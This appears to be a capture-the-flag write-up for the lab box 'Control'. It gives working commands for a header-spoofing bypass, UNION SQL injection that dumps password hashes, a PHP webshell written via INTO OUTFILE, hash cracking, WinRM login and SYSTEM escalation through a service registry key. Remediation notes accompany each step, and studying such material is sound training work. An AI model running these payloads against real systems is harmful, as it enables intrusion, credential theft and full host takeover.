Control
Summary
Target control ($TARGET), a Windows IIS/PHP application server, was fully compromised via a chain of five misconfigurations. The admin panel was protected only by a server-side IP whitelist that trusted the client-supplied X-Forwarded-For header; the whitelisted proxy address was exposed in the public storefront's HTML source, making the bypass trivial.
The exposed admin search form was vulnerable to MySQL UNION-based SQL injection, which dumped password hashes for all database accounts including the Windows user hector. The database session held MySQL FILE privilege with no secure_file_priv restriction, allowing me to write a PHP webshell directly to the IIS webroot via INTO OUTFILE and achieve remote code execution as the IIS service account.
Hector's database password hash cracked to the password, which was reused as his Windows password; as a member of Remote Management Users he was accessed via PowerShell Remoting to read the user flag. Finally, hector's own PowerShell command history revealed he had been granted Full Control over the Windows service registry keys, enabling repointing of the LocalSystem-running seclogon service to me command and achieving full SYSTEM-level compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD2="<the-password-you-recovered>"
export HASH3="<the-hash-you-recovered>"Attack path: how the box was taken
Exact commands 2
Service-version scan of common Windows ports.
$ nmap -sV -sC -p 80,135,443,1433,3306,5985 $TARGETExtract any IP addresses embedded in the public page source.
$ curl -s http://$TARGET/ | grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}'FixEnforce the admin IP whitelist at the network layer and remove internal addresses from public sourceHigh
Exact commands 1
Confirm the admin panel is reachable with the spoofed header.
$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" http://$TARGET/admin.php | head -30Exact commands 4
Confirm SQLi: a single quote produces a database error.
$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName='" http://$TARGET/admin.phpORDER BY 6 succeeds; ORDER BY 7 errors: confirms 6 injectable columns.
$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' ORDER BY 6-- -" http://$TARGET/admin.phpDump all mysql.user password hashes.
$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' UNION SELECT 1,2,3,4,GROUP_CONCAT(user,0x3a,password,0x0a),6 FROM mysql.user-- -" http://$TARGET/admin.phpConfirm FILE privilege and secure_file_priv setting for the session user.
$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' UNION SELECT 1,2,3,4,CONCAT('cur=',CURRENT_USER(),0x0a,'fp=',GROUP_CONCAT(user,0x3a,file_priv),0x0a,'sfp=',IFNULL(@@secure_file_priv,'NULL')),6 FROM mysql.user-- -" http://$TARGET/admin.phpFixReplace dynamic SQL string concatenation with parameterized queriesCritical
Exact commands 2
Write webshell; hex payload decodes to: <?php system($_REQUEST["c"]);?>
$ curl -s -H "X-Forwarded-For: $INTERNAL_HOST" --data-urlencode "productName=test' LIMIT 1 INTO OUTFILE 'C:\\inetpub\\wwwroot\\uploads\\cmd2.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f524551554553545b2263225d293b3f3e-- -" http://$TARGET/admin.phpConfirm RCE: expect 'nt authority\iusr'.
$ curl -s "http://$TARGET/uploads/cmd2.php?c=whoami"
nt authority\iusrFixRevoke MySQL FILE privilege and restrict INTO OUTFILE to a safe directoryCritical
Exact commands 2
Save hector's extracted hash to a file.
$ echo "$HASH3" > hector.hashCrack MySQL double-SHA1 hash (mode 300) against rockyou wordlist.
$ hashcat -m 300 hector.hash /usr/share/wordlists/rockyou.txtFixEnforce unique passwords across systems and prohibit reuse of database credentials as Windows passwordsHigh
Exact commands 2
Interactive WinRM shell as hector (simplest approach).
$ evil-winrm -i $TARGET -u hector -p "$PASSWORD2"PSRemoting one-liner to confirm identity and read user flag; returns <user.txt>.
$ $sec = ConvertTo-SecureString "$PASSWORD2" -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { whoami; Get-Content C:\Users\hector\Desktop\user.txt }
CONTROL\hectorExact commands 4
Read hector's PowerShell command history to discover the registry ACL misconfiguration.
$ $sec = ConvertTo-SecureString "$PASSWORD2" -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential('CONTROL\hector', $sec); Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { gc (Get-PSReadlineOption).HistorySavePath }Confirm hector has FullControl over the seclogon service registry key.
$ Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Get-Acl 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' | Format-List }Overwrite seclogon ImagePath to exfil root.txt to the webroot, then start the service as SYSTEM.
$ Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock { Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\seclogon' -Name ImagePath -Value 'cmd.exe /c type C:\Users\Administrator\Desktop\root.txt > C:\inetpub\wwwroot\uploads\r.txt'; Start-Service seclogon }Retrieve root.txt (<root.txt>) from the web-readable path.
$ curl -s http://$TARGET/uploads/r.txtFixRestrict Windows service registry key ACLs to SYSTEM and Administrators onlyCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 3306/tcp | mysql MariaDB 10.3.24 or later (unauthorized) |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.